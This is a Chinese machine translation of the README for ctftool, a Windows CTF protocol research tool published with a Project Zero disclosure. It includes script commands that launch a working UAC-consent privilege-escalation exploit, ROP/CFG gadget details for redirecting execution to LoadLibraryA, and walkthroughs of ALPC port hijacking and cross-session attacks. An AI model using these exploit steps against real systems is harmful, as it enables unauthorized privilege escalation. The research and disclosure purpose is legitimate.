只想测试系统利用?点击这里。

这是ctftool ,这是一种交互式命令行工具,可以使用CTF进行实验,这是一个鲜为人知的协议,用于实现文本服务。这对于研究Windows内部设备,通过文本输入处理器调试复杂问题以及分析Windows安全性可能很有用。
可以使用ctftool编写简单的脚本来自动与CTF客户端或服务器进行交互,或执行简单的模糊。
此处可用此工具的发布伴随着一篇博客文章。
https://googleprojectzero.blogspot.com/2019/08/down-rabbit-hole.html
ctftool已在Windows 7,Windows 8和Windows 10上进行了测试。支持32位和X64版本,但对X64进行了更广泛的测试。
大多数命令都有在线帮助,只需键入help即可查看命令列表,然后help <command>查看特定命令的详细帮助。
$ ./ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help
Type `help <command>` for help with a specific command.
Any line beginning with # is considered a comment.
help - List available commands.
exit - Exit the shell.
connect - Connect to CTF ALPC Port.
info - Query server informaiton.
scan - Enumerate connected clients.
callstub - Ask a client to invoke a function.
createstub - Ask a client to instantiate CLSID.
hijack - Attempt to hijack an ALPC server path.
sendinput - Send keystrokes to thread.
setarg - Marshal a parameter.
getarg - Unmarshal a parameter.
wait - Wait for a process and set it as the default thread.
thread - Set the default thread.
sleep - Sleep for specified milliseconds.
forget - Forget all known stubs.
stack - Print the last leaked stack ptr.
marshal - Send command with marshalled parameters.
proxy - Send command with proxy parameters.
call - Send command without appended data.
window - Create and register a message window.
patch - Patch a marshalled parameter.
module - Print the base address of a module.
module64 - Print the base address of a 64bit module.
editarg - Change the type of a marshalled parameter.
symbol - Lookup a symbol offset from ImageBase.
set - Change or dump various ctftool parameters.
show - Show the value of special variables you can use.
lock - Lock the workstation, switch to Winlogon desktop.
repeat - Repeat a command multiple times.
run - Run a command.
script - Source a script file.
print - Print a string.
consent - Invoke the UAC consent dialog.
reg - Lookup a DWORD in the registry.
gadget - Find the offset of a pattern in a file.
section - Lookup property of PE section.
Most commands require a connection, see "help connect".
ctf>
您要做的第一件事就是连接到会话,并查看哪些客户端已连接。
ctf> connect
The ctf server port is located at BaseNamedObjectsmsctf.serverDefault1
NtAlpcConnectPort("BaseNamedObjectsmsctf.serverDefault1") => 0
Connected to CTF [email protected], Handle 00000264
ctf> scan
Client 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe)
Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe)
Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe)
Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe)
Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)
然后,您可以通过将命令发送和接收到服务器或任何连接的客户端来实验。
如果您不想自己构建,请查看“版本”选项卡
我使用GNU品牌和Visual Studio 2019来开发ctftool 。仅支持32位构建,因为这允许该工具在X86和X64 Windows上运行。
如果安装了所有依赖项,则仅在开发人员命令提示符中键入make就足够了。
我使用Visual Studio的“构建工具”变体,我选择的唯一组件是MSVC,MSBUILD,CMAKE和SDK。
该项目使用某些依赖项的子模型,请确保您使用这样的命令来获取所有必需的代码。
git submodule update --init --recursive
这些示例仅在Windows 10 x64上起作用。由于Windows XP的影响,所有平台和版本都受到影响,但目前未实施POC。
该工具用于发现数十年来存在的CTF协议的许多关键安全问题。
如果您只想在Windows 10 x64 1903上测试一个漏洞利用,请运行或双击ctftool.exe并输入此命令:
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> script .scriptsctf-consent-system.ctf
这将等待“ UAC对话框”出现,妥协并启动外壳。
实际上,利用代码分为两个阶段,您可以独立使用。例如,您可能需要使用可选的参数在其他会话上妥协属于用户的过程connect
大多数CTF客户端可能会被损害,因为绘制窗口以加载脆弱库的内核力应用程序。
只需连接到会话,选择一个客户端要妥协(使用scan和thread命令,或wait ),然后:
ctf> script .scriptsctf-exploit-common-win10.ctf
建立在大多数CTF客户的CFG跳连锁店,这是非常具有挑战性的。最终漏洞利用有两个主要组件,一个任意写入原始的,然后设置我们的寄存器以调用LoadLibrary() 。
您可以使用
dumpbin /headers /loadconfig来倾倒白色的分支目标。
我需要一个任意的写小工具来在可预测的位置创建对象。我能找到的最好的可用小工具是msvcrt!_init_time的任意dword降低。
这意味着,不仅要设置我们想要的值,还必须继续减少,直到LSB达到我们想要的值。这是很多工作,但是我们不必做超过(2^8 - 1) * len工作。

使用此原始性,我在kernel32 .data部分的一些未使用的松弛空间中构建了这样的对象。它需要成为图像的一部分,以便我可以预测它的映射位置,因为Windows上的图像随机化是每个启动的。

(当然)有很多任意写作小工具,问题是在写作后重新控制执行。事实证明,这很具有挑战性,这就是我被DWORD降低而不是更简单的原因。
MSCTF捕获了所有例外,因此挑战是找到一篇任意的文字,并没有弄乱堆栈,以使SEH幸存下来,或者在没有造成任何损害的情况下很快崩溃。
msvcrt!_init_time小工具是我能找到的最好的,在一些指令中,它删除了null,而无需损坏更多的内存。这意味着我们可以无限期重复它。
我发现了两个用于调整登记册的有用小工具,第一个是:
combase!CStdProxyBuffer_CF_AddRef:
mov rcx,qword ptr [rcx-38h]
mov rax,qword ptr [rcx]
mov rax,qword ptr [rax+8]
jmp qword ptr [combase!__guard_dispatch_icall_fptr]
第二个是:
MSCTF!CCompartmentEventSink::OnChange:
mov rax,qword ptr [rcx+30h]
mov rcx,qword ptr [rcx+38h]
jmp qword ptr [MSCTF!_guard_dispatch_icall_fptr]
通过将这两个小工具与我们与写小工具形成的对象相结合,我们可以通过在它们之间弹跳将执行重定向到kernel32!LoadLibraryA 。
这很复杂,但是跳跃序列是这样的:

如果您有兴趣,建议您在调试器中观看它。请注意,您将需要使用命令sxd av和sxd bpe ,否则调试器将停止每次写!
除记忆损坏外,CTF暴露的主要漏洞类是编辑会话攻击。通常,不允许从高特权过程中发送输入或读取数据的无私人过程(例如,完整性低)。此安全边界称为UIPI,用户界面特权隔离。
CTF打破了这些假设,并允许无特权的流程将输入发送到特权流程。
据我所知,只有在安装了使用OOP提示的显示语言,未经处理的文本输入处理器的情况下,才能使用此攻击。使用IME(中文,日语,韩语等)和具有A11Y工具的用户使用的输入语言的用户属于此类别。
示例攻击包括...
脚本目录中有一个示例脚本,将输入发送到记事本窗口,以演示编辑会话的工作方式。

由于CTF协议中的客户端和服务器之间不涉及身份验证,因此具有必要特权写入BaseNamedObjects攻击者可以创建CTF ALPC端口并假装为监视器。
这允许监视器强制执行的任何限制。
如果您想尝试此攻击,请尝试ctftool中的hijack命令。
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
ctf> hijack Default 1
NtAlpcCreatePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00 ..0.. ......D...
000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00 .....f......D...
000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05 ............ ...
A a message received
ProcessID: 4352, SearchUI.exe
ThreadId: 4420
WindowID: 00020180
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00 .y...f..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00 ................
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
WindowID: 00010110
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00 ....*g..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00 ............X...
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
...
CTF协议中没有会话隔离,任何过程都可以连接到任何CTF服务器。例如,终端服务用户可以与任何其他用户(甚至管理员)的流程进行交互。
如果您想尝试此攻击,则ctftool中的connect命令支持连接到非默认会话。
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help connect
Connect to CTF ALPC Port.
Usage: connect [DESKTOPNAME SESSIONID]
Without any parameters, connect to the ctf monitor for the current
desktop and session. All subsequent commands will use this connection
for communicating with the ctf monitor.
If a connection is already open, the existing connection is closed first.
If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitor
for another desktop and session are opened, if it exists.
If the specified port does not exist, wait until it does exist. This is
so that you can wait for a session that hasn't started
yet in a script.
Examples
Connect to the monitor for current desktop
ctf> connect
Connect to a specific desktop and session.
ctf> connect Default 1
Most commands require a connection, see "help connect".
在撰写本文时,尚不清楚Microsoft如何根据该工具有助于公开的众多设计缺陷来更改CTF协议。
因此,认为此工具处于概念验证状态。
Windows的所有版本既然Windows XP都在所有受支持的平台上使用CTF。
虽然直到XP之前才是基本系统的一部分,但如果您安装了Microsoft Office,则最早在Windows 98和NT4时使用CTF。
ctftool支持Windows 7,并在X86和X64上支持Windows 7,但是可以支持较早的版本和其他平台,并将赞赏贡献。
Microsoft没有记录CTF代表的代表,在任何文本服务文档,SDK样本,符号名称,标头文件或其他任何地方都没有解释。我的理论是来自CTextFramework ,您可能会在匈牙利符号中命名该类。
有些网站声称
ctfmon与清晰的字体或Azure协作翻译框架有关。他们误会了。
更新:杰克·尼尔森(Jake Nelson)找到了“常见文本框架”的证据
tavis ormandy [email protected]
所有原始代码均为Apache 2.0,有关详细信息,请参见许可证文件。
以下组件是进口的第三方项目。
GetProcAddress() 。这是在symbol命令中使用的,并允许同一二进制在x64和x86上使用。